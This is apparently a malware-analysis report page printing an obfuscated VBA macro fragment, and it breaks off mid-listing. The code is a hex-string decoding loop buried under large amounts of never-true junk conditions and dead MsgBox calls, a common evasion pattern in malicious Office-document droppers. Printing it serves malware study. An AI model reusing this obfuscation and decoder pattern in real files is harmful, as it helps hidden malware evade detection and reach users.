For BQZiFmPgMS = 1 To Len(zqEOxxkkLThI) Step 2
If 131176 = 131176 + 1 Then End
If 4911 < 15 Then
If 463372 = 463372 + 1 Then End
If 7687 < 79 Then
If 269689 = 269689 + 1 Then End
If 2593 < 56 Then
        MsgBox ("RYdbtqsZ32")
End If
If Len("AzLgwfFr3354") = Len("GpdsNNGB") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("cHIFqRYx91")

End If
If Len("JQExGqte8438") = Len("BbqkdeGe") Then
If 892825 = 892825 + 1 Then End
If 2973 < 23 Then
        MsgBox ("WoZjNMIA44")
End If
If Len("frxBTnyi3724") = Len("xKtMzkJu") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 679731 = 679731 + 1 Then End
If 6694 < 32 Then
        MsgBox ("eSsTOQBZ74")
End If
If Len("NiJmNFnr7445") = Len("ZQmIisBP") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("vflWlHfB95")


End If
If Len("GvWembEi5751") = Len("jzvjZVeF") Then
If 436732 = 436732 + 1 Then End
If 7167 < 46 Then
If 549456 = 549456 + 1 Then End
If 8839 < 26 Then
        MsgBox ("sdqYtACN98")
End If
If Len("skqCBAUB3193") = Len("myKKwlkB") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("FlVTtdzw59")

End If
If Len("tEbSuXkR2331") = Len("UuzNgmJq") Then
If 997564 = 997564 + 1 Then End
If 7569 < 31 Then
        MsgBox ("kNamQlQi82")
End If
If Len("zNvMcPGV1733") = Len("ERauYogR") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 599486 = 599486 + 1 Then End
If 2753 < 22 Then
        MsgBox ("hGqYywll14")
End If
If Len("EhldRuAe3693") = Len("vOKKcdGj") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")


End If
If 214757 = 214757 + 1 Then End
If 5192 < 55 Then
If 682933 = 682933 + 1 Then End
If 6826 < 34 Then
        MsgBox ("aXwGSIGu75")
End If
If Len("BjzRePkI7666") = Len("nWTKqoHg") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("qkHplHHi99")

End If
If Len("JULoApSn6952") = Len("SalFmgBF") Then
If 964923 = 964923 + 1 Then End
If 3695 < 21 Then
        MsgBox ("CWSntPXc41")
End If
If Len("RqHvfrKH4545") = Len("vRgruotr") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 419648 = 419648 + 1 Then End
If 4993 < 15 Then
        MsgBox ("JrdvpHGD56")
End If
If Len("GvLgnLjg5753") = Len("jzxAIjHW") Then
       MsgBox ("Error !!!")
End If
HgxJy = Chr(Val(Chr(38) & Chr(72) & Mid$(zqEOxxkkLThI, BQZiFmPgMS, 2)))



If 987591 = 987591 + 1 Then End
If 6624 < 69 Then
If 119675 = 119675 + 1 Then End
If 8571 < 51 Then
If 842619 = 842619 + 1 Then End
If 8968 < 17 Then
        MsgBox ("EqmLBaXP38")
End If
If Len("qnvJilJz3232") = Len("tLCxzbth") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("brsnpnOf93")

End If
If Len("prINXHDe2844") = Len("QIsdtgdP") Then
If 873452 = 873452 + 1 Then End
If 2424 < 89 Then
        MsgBox ("qFZfDkRh94")
End If
If Len("ABrmGaMv3375") = Len("eZUICblt") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 234949 = 234949 + 1 Then End
If 2972 < 47 Then
        MsgBox ("WoEoRUHF67")
End If
If Len("ZvUiDNSy6245") = Len("PdgeqJxt") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("IUXQyYuL43")


End If
If Len("XitkElgR7474") = Len("HnECxvAK") Then
If 666782 = 666782 + 1 Then End
If 6219 < 99 Then
If 162694 = 162694 + 1 Then End
If 1533 < 61 Then
        MsgBox ("wIAcJdEs23")
End If
If Len("lridugyD2473") = Len("MUPnhDRl") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("lxLVdUNO11")

End If
If Len("BSXCwNXz1473") = Len("MywAgtoh") Then
If 169618 = 169618 + 1 Then End
If 2248 < 26 Then
        MsgBox ("KvpGjDTN61")
End If
If Len("bFfDbyAl3188") = Len("muSllsFT") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 289882 = 289882 + 1 Then End
If 8372 < 58 Then
        MsgBox ("ZKqPieJv91")
End If
If Len("sKIpMlWg3545") = Len("DwsczJmW") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")


End If
If 269681 = 269681 + 1 Then End
If 2593 < 56 Then
If 987524 = 987524 + 1 Then End
If 9427 < 22 Then
        MsgBox ("IYVPCLhG42")
End If
If Len("hXzIyssu3681") = Len("vPOREeXy") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("EUsnsmuT33")

End If
If Len("fUINVPqw3444") = Len("GqsdyoOz") Then
If 269589 = 269589 + 1 Then End
If 5396 < 28 Then
        MsgBox ("RTgmgWxy32")
End If
If Len("WHHZhRSg9569") = Len("xllHveqW") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 829728 = 829728 + 1 Then End
If 2252 < 25 Then
        MsgBox ("LxkqERlX36")
End If
If Len("sjdKisJZ3193") = Len("mtMFTeAZ") Then
       MsgBox ("Error !!!")
End If
pHEbKVcYj = pHEbKVcYj & HgxJy



Next BQZiFmPgMS
If 996764 = 996764 + 1 Then End
If 3768 < 93 Then
If 351252 = 351252 + 1 Then End
If 6567 < 68 Then
If 724146 = 724146 + 1 Then End
If 5625 < 12 Then
        MsgBox ("ipUVSpYl64")
End If
If Len("JptcvnQi8988") = Len("lFUPUBpF") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("hDxOKUZm79")

End If
If Len("OIkkxfNa7417") = Len("JxBdMyQN") Then
If 679784 = 679784 + 1 Then End
If 6439 < 81 Then
        MsgBox ("kRuBIVqm12")
End If
If Len("VMqVJkuD9693") = Len("LfOZPxla") Then
       MsgBox ("Error !!!")
…

Open this report in the interactive analyzer, or submit your own file for analysis.